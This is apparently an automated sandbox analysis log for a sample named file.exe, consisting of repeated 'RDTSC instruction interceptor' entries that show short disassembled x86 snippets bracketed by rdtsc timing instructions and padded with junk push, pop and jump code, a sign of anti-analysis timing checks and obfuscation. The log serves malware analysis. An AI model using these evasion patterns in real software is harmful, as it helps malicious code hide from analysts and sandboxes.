Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383549 second address: 1383571 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9F60D14446h 0x00000008 jmp 00007F9F60D1444Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9F60D1444Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA763 second address: 12EA782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jo 00007F9F60E618CFh 0x0000000e jmp 00007F9F60E618BDh 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13828E6 second address: 13828EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382A55 second address: 1382A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382BFE second address: 1382C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382D60 second address: 1382D80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618BBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9F60E618BBh 0x0000000e jno 00007F9F60E618B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382EE9 second address: 1382F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9F60D14452h 0x0000000c jmp 00007F9F60D14453h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383068 second address: 138306E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138306E second address: 1383072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383072 second address: 1383076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138656B second address: 1386575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9F60D14446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386575 second address: 1386594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386594 second address: 138659A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138659A second address: 13865D4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9F60E618D1h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F9F60E618C9h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9F60E618C3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1385FC6 second address: 1385FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138C047 second address: 138C051 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9F60E618BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AE62 second address: 138AE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F9F60D14446h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AE76 second address: 138AE8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnp 00007F9F60E618B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AFA0 second address: 138AFBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14457h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AFBB second address: 138AFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F9F60E618B8h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9F60E618BEh 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AFDD second address: 138AFE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AFE1 second address: 138AFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AFE9 second address: 138AFEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AFEE second address: 138AFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13328A4 second address: 13328A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13328A8 second address: 1332903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F9F60E618C1h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 jg 00007F9F60E618B8h 0x00000016 jno 00007F9F60E618B8h 0x0000001c popad 0x0000001d nop 0x0000001e jne 00007F9F60E618B6h 0x00000024 push 00000004h 0x00000026 sub dword ptr [ebp+1246606Eh], eax 0x0000002c nop 0x0000002d push ebx 0x0000002e jbe 00007F9F60E618B8h 0x00000034 pushad 0x00000035 popad 0x00000036 pop ebx 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F9F60E618C0h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13916EE second address: 13916FE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9F60D14446h 0x00000008 ja 00007F9F60D14446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13916FE second address: 1391704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391C73 second address: 1391C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391C77 second address: 1391C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391C92 second address: 1391C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391C9A second address: 1391C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391FA9 second address: 1391FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391FAD second address: 1391FB7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F60E618B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139290D second address: 1392961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9F60D14452h 0x00000008 jnc 00007F9F60D14446h 0x0000000e jl 00007F9F60D14446h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b je 00007F9F60D1444Ch 0x00000021 jl 00007F9F60D14446h 0x00000027 jng 00007F9F60D14464h 0x0000002d jmp 00007F9F60D14458h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392961 second address: 1392965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392965 second address: 139296B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139296B second address: 139296F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392C30 second address: 1392C38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392C38 second address: 1392C42 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9F60E618B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139322A second address: 1393253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F9F60D1444Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393253 second address: 1393263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F9F60E618B6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393263 second address: 1393298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9F60D14454h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393298 second address: 13932B2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9F60E618B6h 0x00000008 jmp 00007F9F60E618C0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139357D second address: 1393583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398430 second address: 1398434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398434 second address: 139844D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9F60D14451h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397B4A second address: 1397B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397C86 second address: 1397C9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 ja 00007F9F60D1444Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397C9E second address: 1397CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60E618BAh 0x00000009 popad 0x0000000a jmp 00007F9F60E618C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F9F60E618B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397CCB second address: 1397CD5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397F5D second address: 1397F71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13980FD second address: 1398115 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9F60D1444Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F9F60D14446h 0x00000010 js 00007F9F60D1444Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139D0D2 second address: 139D0FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F9F60E618CEh 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139D0FD second address: 139D118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9F60D1444Eh 0x0000000c jl 00007F9F60D14446h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A47EC second address: 13A47F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4968 second address: 13A4972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4C1D second address: 13A4C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007F9F60E618BBh 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4C31 second address: 13A4C56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F9F60D14458h 0x00000008 jnp 00007F9F60D14446h 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4C56 second address: 13A4C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4C5C second address: 13A4C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4D9F second address: 13A4DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5070 second address: 13A5076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A520A second address: 13A5215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5215 second address: 13A525A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9F60D14446h 0x00000008 jmp 00007F9F60D1444Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F9F60D14448h 0x00000015 push esi 0x00000016 pop esi 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F9F60D14459h 0x0000001f jnc 00007F9F60D14446h 0x00000025 popad 0x00000026 popad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A525A second address: 13A5284 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9F60E618B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F9F60E618BEh 0x00000010 jl 00007F9F60E618B6h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jc 00007F9F60E618B6h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5284 second address: 13A528E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9F60D14446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A54F4 second address: 13A54FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A54FD second address: 13A5501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5501 second address: 13A5507 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5E09 second address: 13A5E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60D1444Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5E1F second address: 13A5E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5E25 second address: 13A5E39 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9F60D14446h 0x00000008 jbe 00007F9F60D14446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AD60A second address: 13AD610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AD1B1 second address: 13AD1B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AD324 second address: 13AD330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9F60E618B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA345 second address: 13BA349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8B75 second address: 12E8B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3B1E second address: 13C3B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60D1444Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3B2C second address: 13C3B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3B30 second address: 13C3B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F9F60D1444Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3B40 second address: 13C3B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3B4D second address: 13C3B59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C5DDF second address: 13C5E20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F9F60E618C1h 0x0000000e jng 00007F9F60E618B6h 0x00000014 popad 0x00000015 jmp 00007F9F60E618BDh 0x0000001a push eax 0x0000001b push edx 0x0000001c jnl 00007F9F60E618B6h 0x00000022 jmp 00007F9F60E618BBh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8FDA second address: 13C8FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8FDE second address: 13C8FE9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8FE9 second address: 13C8FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8FF1 second address: 13C8FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8FF6 second address: 13C8FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8FFC second address: 13C9002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCDC1 second address: 13CCDC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D08D2 second address: 13D08DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6A86 second address: 13D6A94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9F60D14446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6A94 second address: 13D6A9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6A9A second address: 13D6AA4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9F60D1444Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6AA4 second address: 13D6AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9F60E618BCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6D1A second address: 13D6D1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6D1E second address: 13D6D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
